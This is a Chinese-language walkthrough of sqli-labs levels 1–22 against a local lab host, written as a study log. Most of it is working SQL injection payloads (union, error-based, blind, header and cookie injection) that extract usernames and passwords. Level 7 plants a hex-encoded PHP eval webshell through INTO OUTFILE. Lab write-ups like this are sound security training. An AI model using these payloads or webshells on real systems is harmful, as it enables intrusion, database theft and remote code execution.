sqli 靶场通关(持续更新)
第一关:Less-1 GET - Error based - Single quotes - String(基于错误的GET单引号字符型注入)
(05\4日更新)
手工union联合查询注入
一:判断注入类型
url=http://127.0.0.2/Less-1/?id=1'
看回显的报错信息
这里说: '1'' LIMIT 0,1 这里的1被单引号包裹说明这里是字符型然后 ' 引号闭合。
收获:字符型, ' 号闭合
二:进行联合注入
联合注入需要的条件有不清楚的小伙伴可以去这篇文章看看
https://www.freebuf.com/vuls/254621.html
1.找到当前表的列数
因为联合注入虚拟表是列数要和当前表的列数一致
我们可以通过[order by]语句来判断,[order by]语句的作用是按照某一列进行排序数。并且在Mysql数据库中可以用数字来代替对应的列表
order by 3 正常
order by 4 异常
说明当前表有三列
2.联合注入查询库
url = http://127.0.0.2/Less-1/?id=-1'union select 1,2,database() --+
注意:这里要知道联合注入时,你前面的值要为假的时候,也就是数据不存在时,union select之后查询出的结果就会显示在页面中
3.查询当前表
url = http://127.0.0.2/Less-1/?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
解析url:
group_concat(),函数作用:把回显全部拼接到一起,这样就可以获得全部回显
information_schema :源数据库数据库
information_schema.tables:存放所有表名的表
information_schema.columns:(存所有字段名的表)
information_schema.table_name:(存表名的字段)
table_schema:(存表所属数据库的字段)
column_name:存字段名的字段)
table_name:(存字段所属表的字段)
收获:拿到了以下的表
4.爆列名了,也就是爆字段
url = http://127.0.0.2/Less-1/?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
5.爆值
url = http://127.0.0.2/Less-1/?id=-1' union select 1,2,group_concat(username,0x3a,password) from users--+
解析:0x3a: 0x是十六进制标志,3a是十进制的58,是ascii中的 ':' ,用以分割pasword和username。
第二关:Less-2 GET - Error based - Intiger based (基于错误的GET整型注入)
这里和第一题的区别就是一题是字符型,这题是整型注入。
看下区别:
报错信息是:' LIMIT 0,1
所以说明这里是整型
payload就是把上题的id=1' 后面的分号去除
url = ?id=-1 union select 1,2,group_concat(username,0x3a,password) from users--+
第三题:Less-3 GET - Error based - Single quotes with twist string (基于错误的GET单引号变形字符型注入)
一:分析报错信息
url = http://127.0.0.2/Less-3/?id=1'
报错位置 : '1'') LIMIT 0,1
第四题:Less-4 GET - Error based - Double Quotes - String (基于错误的GET双引号字符型注入)
(05\5日更新)
一:判断类型和闭合方式
输入 ' 单引号无报错,输入 " 双引号报错。
报错信息给到 : "1"") LIMIT 0,1 可以看出这里是双引号加括号闭合的字符型
联合注入
所以联合注入payload就是把前面几题的id=1后面加上 " 引号和 )号。
步骤:
1.爆当前表的列
url = http://127.0.0.2/Less-4/?id=-1") order by 4 --+
2.爆当前的库
url = http://127.0.0.2/Less-4/?id=-1") union select 1,2,database() --+
3.爆表名
url = http://127.0.0.2/Less-4/?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
4.爆字段
url = http://127.0.0.2/Less-4/?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+ 注意:后面的字段所属表的判断语句要加 ' ' 单引号包裹
5.爆值
url = http://127.0.0.2/Less-4/?id=-1") union select 1,2,group_concat(username,0x3a,password) from users --+
注:0x3a 0x是十六进制标志,3a是十进制的58,是ascii中的 ':' ,用以分割pasword和username
报错注入
1.检测是否存在sql注入
url = http://127.0.0.2/Less-4/?id=1") and 1=1 --+
返回正常
url = http://127.0.0.2/Less-4/?id=1") and 1=2 --+
返回异常
2.爆表
url = http://127.0.0.2/Less-4/?id=1") and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+
标注部分是查询语句
url解析:
0x7e是,号
函数解析 :
extractvalue:
- extractvalue ():从目标XML中返回包含所查询值的字符串。如果第二个参数不是Xpath格式的字符串,则会报错。可以利用concat函数拼接查询结果和非Xpath格式的字符串。
3.爆列名(字段)
url one = http://127.0.0.2/Less-4/?id=1") and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) --+ 标黄部分为查询语句
但是字段没有完全显示
这里我们需要使用 not in 来显示其他字段
在上面的查询语句后面使用 and column not in
url two = http://127.0.0.2/Less-4/?id=1") and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and column_name not in ('user_id','first_name','last_name','us')))) --+ 标黄部分为查询语句
4.爆值
url = http://127.0.0.2/Less-4/?id=1") and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users))) --+
同样如果需要后面的数据就加上 where username not in ('Dumb','Angelina')
第五题:Less-5 GET - Double Injection - Single Quotes - String (双注入GET单引号字符型注入)
一: 查看注入类型和闭合符
url = http://127.0.0.2/Less-5/?id=1'
爆错内容:'1'' LIMIT 0,1
说明这里是字符型报错,单引号闭合
二:寻找合适的注入手段
一常识用uinon联合注入,发现没有回显点,。
所以我们可以尝试使用布尔盲注或者报错注入或者时间延迟注入。
1.时间延迟注入
(1)检测是否是否能够出现延迟
url = http://127.0.0.2/Less-5/?id=1' and sleep(3) --+
发现确实出现了3秒的延迟
(2)进行注入
延时注入和报错型注入payload都有一个特征,payload = ?id=1' and if(报错型payload核心部分,sleep(5),1)--+
(3)爆库长
url = http://127.0.0.2/Less-5/?id=1' and if(length(database())=8,sleep(2),1) --+
根据前面的题目我们猜测数据库还是 security
(4)爆库名
url = http://127.0.0.2/Less-5/?id=1' and if((substr(database(),1,1)='s'),sleep(2),1) --+
如果感觉感受时间太不客观,可以直接看network里面的响应时间
函数解析:substr(string, start, length)
这里就是从第一个开始取一个字符进行匹配
然后需要急需爆破就用字母去一个一个测试就行 或者用for循环写个脚本都行
果然 结果还是 security
(5)爆表名
url one = http://127.0.0.2/Less-5/?id=1' and if(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)='r' ,sleep(5),1)--+
结果:成功延时
url two = http://127.0.0.2/Less-5/?id=1' and if(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1)='u' ,sleep(5),1)--+
这里就找到了users表了
明天写个脚本来爆破
url 解析:
limit子句的介绍:
select * from table limit m,n
如果要从表中返回第 6 行到第 10 行的数据,可以使用:
select * from table limit 5,5
left(str, length)
其中,str
是要提取子字符串的字符串,length
是一个正整数,指定将从左边返回的字符数123。
例如,如果要从字符串 "SQL Server"
中提取左边的 3 个字符,可以使用:
left("SQL Server", 3)
按照id排序,这样便于对应。注意limit 从0开始.通过坚持不懈的尝试终于爆破到第一个用户的名字dumb,密码dumb,需要注意的是,mysql对大小写不敏感,所以你不知道是Dumb 还是dumb。
对于这种重复性工作还是交给sqlmap吧。
六题:Less-6 GET - Double Injection - Double Quotes - String (双注入GET双引号字符型注入)
(05\6日更新)
一:判断注入类型和闭合方式
url = http://127.0.0.2/Less-6/?id=1"
报错内容: "1"" LIMIT 0,1
说明这里是字符型双引好闭合。
双引号字符型注入,上一题的单引号改成双引号就可以了,同样是两种方法:时间延迟型的手工盲注、报错型的手工盲注或者sqlmap,再有利用concat()几聚合数。
步骤和第五题一样,可以回去看上面的步骤。
七题:Less-7 GET - Dump into outfile - String (导出文件GET字符型注入)
一:检查注入类型
这里测试了单引号,双引号都没回显
单引号有报错但是双引号没有
如何找到我们的闭合方式呢
我们可以利用sleep函数来检查我们的闭合是否正确,然后(常见的)不同的闭合符一个一个尝试
如果sleep函数被执行了则说明我们的闭合符正确了
这里也可以用脚本来爆破
经过尝试发现闭合符是 ')) .
二:进行注入尝试,写入文件
注意:这里可能很多小伙伴无法写入文件,我们应该先看看我们的mysql是否开启了写入文件的功能。
在我们PHPstudy的mysql安装目录找到 my.ini 文件
看是否开启secure-file-priv写文件权限,否则不能写入文件
进入mysql安装目录,找到my.ini 修改里面的secure-file-priv参数
如果发现没有secure_file_priv这个选项,直接再最后添加一个空的即可
接下来我们就可写入木马了
但是我们根据题目的提示可以知道应该需要用到文件导出,我们来写入执行木马。
但是不知道这里的绝对路径是啥,可以看我们本机的路径也可以通过前面的题目来查找
url = http://127.0.0.2/Less-2/?id=-1 union select 1,@@basedir,@@datadir --+
或者直接尝试一些常见的路径
这里插个小扩展:
winserver的iis默认路径c:\Inetpub\wwwroot
linux的nginx一般是/usr/local/nginx/html,/home/wwwroot/default,/usr/share/nginx,/var/www/htm等
apache 就.../var/www/htm,.../var/www/html/htdocs
phpstudy 就是...\PhpStudy20180211\PHPTutorial\WWW\
xammp 就是...\xampp\htdocs
然后写入一句话木马
http://127.0.0.2/Less-7/?id=-1')) union select 1,0x3c3f706870206576616c28245f504f53545b636d645d293b3f3e,3 into outfile "D:\\phpstudy_pro\\WWW\\sqli\\Less-7\\aaa.php"--+ (这里写入的一句话木马进行了hex转码是为了防止被拦截,但是这里似乎不转码也行)
需要注意的是这里路径之间需要用 \\ 号隔开。(原理就是 转译)
这里查看下文件成功写入,发现文件成功写入,或者前端访问一下文件。
访问也可以成功访问
三:写入木马成功后用蚁剑连接
连接成功
(5.7)
第八题:Less-8 GET - Blind - Boolian Based - Single Quotes (布尔型单引号GET盲注)
一:检测注入类型和闭合符
url = http://127.0.0.2/Less-8/?id=1' and sleep(5) --+
结论:出现时间延迟说明闭合符是 ' ,然后字符型
二:然后进行布尔盲注
和less5步骤payload几乎一样
最后爆值
url = http://127.0.0.2/Less-8/?id=1' and if(left((select password from users order by id limit 0,1),4)='dumb',sleep(5),1) --+
第九题:Less-9 GET - Blind - Time based. - Single Quotes (基于时间的GET单引号盲注)
一:判断类型
输入id=1' 但是没有报错也没有显示异常
然后根据提示我们尝试时间盲注,
发现明显延迟,这里我们就利用时间盲注来做这一道题。
二:爆破
1.爆库
库长:
url = http://127.0.0.2/Less-9/?id=1' and if(length(database())=8,sleep(3),1) --+
结果:当库长为8时延迟明显所以库长为8
库名:
url = ?id=1' and if(left(database(),8)='security' , sleep(3), 1) --+
根据前面的经验直接尝试security。发现果然如此
2.爆表
url = http://127.0.0.2/Less-9/?id=1' and if(left((select table_name from information_schema.tables where table_schema=database() limit 3,1),5)='users',sleep(3),1) --+
前面第五题有讲limit函数的作用
这里爆出来我们需要的列表users
在存表名的表的第4行
3.爆列名,字段
(1)
url = http://127.0.0.2/Less-9/?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password',sleep(3),1) --+
这里再第五行爆出password字段也就是列名
(2)
payload = ?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit 9,1),8)='username', sleep(3), 1) --+
这里爆出username字段
4.爆值
(1)password
url = http://127.0.0.2/Less-9/?id=1' and if(left((select password from users limit 0,1),4)='dumb',sleep(3),1) --+
(2)username
url = http://127.0.0.2/Less-9/?id=1' and if(left((select username from users limit 0,1),4)='dumb',sleep(3),1) --+
第十题:Less-10 GET - Blind - Time based - double quotes (基于时间的双引号盲注)
一:和上一题几乎一样,把payload里面 单引号 改为 双引号 就行
第十一题:Less-11 POST - Error Based - Single quotes- String (基于错误的POST型单引号字符型注入)
一:判断类型
输入1'
报错内容 : '1'' and password=
说明单引号闭合,字符型
二:判断当前表的列数
1' order by 2#
1' order by 3#
三:爆值
payload = -1' union select 1,group_concat(concat_ws('~',username,password)) from security.users #
(5.8)
第十二关:Less-12 POST - Error Based - Double quotes- String-with twist (基于错误的双引号POST型字符型变形的注入)
1.检查注入类型
报错:
结论:双引号括号闭合字符型
这里和题目名字还不太一样这里是 ") 类型闭合
2.尝试注入
(1)union 联合注入
payload = -1") union select 1,group_concat(concat_ws('~',username,password)) from security.users #
提醒一下如果使用hackbar进行注入的时候:
如果出现了,form.submit is not a function
这个时候把 submit=submit 的前面一个s改为大写 Submit=submit
(2)闭合后面语句
payload = admin")#
这里是通过跳过后面的password检查而成功注入
第十三关:Less-13 POST - Double Injection - Single quotes- String -twist (POST单引号变形双注入)
1.检查注入类型
在usernam处输入:1'
出现报错:'1'') and password=('') LIMIT 0,1
结论:字符型,闭合符 ')
2.注入
使用admin')# 或者其他发现都没有回显
(1)猜测使用时间盲注
用 admin') and sleep(3) --+
发先有明显延迟,说明存在时间延迟注入
进行注入
payload = uname=admin') and if(left(database(),1)='s',sleep(3),1) --+&passwd=admin&Submit=Submit
注意之里是 uname 不是username
这里是hackbar抓下来的内容
(2)报错注入(有报错信息返回)
payload = uname=admin') and extractvalue(1,concat(0x7e,(select database()))) --+&passwd=admin&Submit=Submit
接下来的步骤就和前面一样了,就只需要改变查询语句就行
(5.9号)
第十四关:Less-14 POST - Double Injection - Single quotes- String -twist
1.检测注入类型
payload = 1"
报错: near '"1"" and password="" LIMIT 0,1' at line 1
结论: 输入内容被放到双引号中,报错型注入,注释符不可用
2.进行注入
(1)报错型
目前手工注入最优选,花费时间最少
payload = uname=admin" and extractvalue(1,concat(0x3a,(select database()))) and " &passwd=&Submit=Submit
payload : uname=admin" and extractvalue(1,concat(0x3a,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) and " &passwd=&Submit=Submit
后面的步骤和前面的差距不大
(2)时间型盲注
建议:测试能行就可以了,比较浪费时间
payload: uname=admin" and if(left(database(),1)='s',sleep(3),1) --+ &passwd=admin&submit=Submit
十五题:less-15 POST - Blind- Boolian/time Based - Single quotes (基于bool型/时间延迟单引号POST型盲注)
1.检测类型
bool型
payload: passwd=&Submit=Submit&uname=admin' and 1=1 --+
payload: passwd=&Submit=Submit&uname=admin' and 1=2 --+
时间延迟:
payload: passwd=&Submit=Submit&uname=admin' and sleep(5) --+
2.注入
(1)时间盲注
payload:
直接大礼包
uname=admin' and if(length(database())=8,sleep(5),1)--+&passwd=admin&submit=Submit uname=admin' and if(left(database(),1)='s',sleep(5),1)--+&passwd=admin&submit=Submit uname=admin' and if( left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' ,sleep(5),1)--+&passwd=admin&submit=Submit uname=admin' and if(left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password' ,sleep(5),1)--+&passwd=admin&submit=Submit uname=admin' and if(left((select password from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+&passwd=admin&submit=Submit uname=admin' and if(left((select username from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+&passwd=admin&submit=Submit
(2)布尔盲注
payload:
大礼包大礼包
uname=admin' and length(database())=8--+&passwd=&Submit=Submit
uname=admin' and left(database(),1)='s'--+&passwd=&Submit=Submit
下面的payload就是把时间盲注的if函数去就行
如果正确就会返回登录成功
错误就会返回登录失败
十六题:Less-16 POST - Blind- Boolian/Time Based - Double quotes (基于bool型/时间延迟的双引号POST型盲注)
1.判断注入类型和闭合符
题目提示了双引号,但是这里双引号却没有反应,所以猜测可能是")
payload : passwd=&Submit=Submit&uname=admin") and 1=1 --+
时间延迟测试一样成功:
payload : passwd=&Submit=Submit&uname=admin") and sleep(2) --+
2.爆破&注入
这里就是改变了闭合符,所以我们这里只需要改掉前面题目的闭合符就OK啦。
十七题:Less-17 POST - Update Query- Error Based - String (基于错误的更新查询POST注入)
1.检查注入类型
首先在username处尝试输入 但是没有回显
然后感觉有点怪,我又尝试了一下 Password
这里发现有回显
payload : passwd=admin+%27+and+1%3D1--%2B&submit=Submit&uname=admin
报错返回结果:near 'admin'' at line 1
结论:字符型, ' 引号闭合
2.注入
(1)根据回显这里尝试报错注入
前面的payload都一样
payload :uname=admin&passwd=admin' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and column_name not in ('user_id','user','first_name','last_name','avatar','last_login','failed_login')),0x7e),1) --+ &Submit=Submit
十八题:Less-18 POST - Header Injection - Uagent field - Error based (基于错误的用户代理,头部POST注入)
1.判断报错类型
报错型,单引号,user-agent型注入点
用admin登录上了
看这里回显,有user agent
2.注入
这里需要使用bp在user-agent注入
(1)爆库
payload: 'and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '
(2)爆表
payload : 'and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e)) and '
(3)爆字段(列名)
payload : 'and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e)) and '
(4)爆值
payload: 'and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users),0x7e)) and '
十九关:Less-19 POST - Header Injection - Referer field - Error based (基于头部的Referer POST报错注入)
(1)判断注入类型
这道题只是注入位置不同,所以用上面的payload 改下注入位置就行
二十关:Less-20 POST - Cookie injections - Uagent field - Error based (基于错误的cookie头部POST注入)
1.判断注入点和注入类型
(1)判断注入点
输入:admin amdin
返回love your cookies
结论:猜测注入点在cookie
(2)判断闭合符
这里在Cookie处注入
得到报错回显:如下图
结论:有回显,闭合符是 ',方式就多了
2.注入开始
(1)联合注入
由于这里有回显我们直接使用联合注入
一:判断当前表的列数
Cookie: uname=admin' order by 3--+ //1-3 正常 Cookie: uname=admin' order by 4--+ //4 不正常 ,确定行数为3
成功
未成功
二:接下来就用前面联合注入的payload就可以了
payload: Cookie: uname=-admin' union select 1,2,group_concat(username,0x3a,password)from users--+
二十一关:Less-21 Cookie Injection- Error Based- complex - string ( 基于错误的复杂的字符型Cookie注入)
1.判断注入类型和闭合符
同上题一样输入 admin admin
返回如下
所以判断:这里注入点还是在cookie处
判断闭合符
前面admin登录并没有正常显示admin登录信息
查看wp后发现这里需要进行base64加密
这里用base64加密后才给出正常回显
2.注入
接下来的payload就和上面的payload类似了
需要注意的是这里的注释符需要用 #
就进行一下base64加密就能够打通
paylod :
-admin') union select 1,2,database()#
LWFkbWluJykgdW5pb24gc2VsZWN0IDEsMixkYXRhYmFzZSgpIw==
二十二关:Less-22 Cookie Injection- Error Based- Double Quotes - string (基于错误的双引号字符型Cookie注入)
1.检测注入点和闭合符
使用 admin admin 登录
发现回显
猜测和上题一样注入点在cookie里面
base64编码,双引号,报错型,cookie型注入。
就闭合符变成了双引号
2.注入
uname=-admin" union select 1,2,database()# LWFkbWluIiB1bmlvbiBzZWxlY3QgMSwyLGRhdGFiYXNlKCkj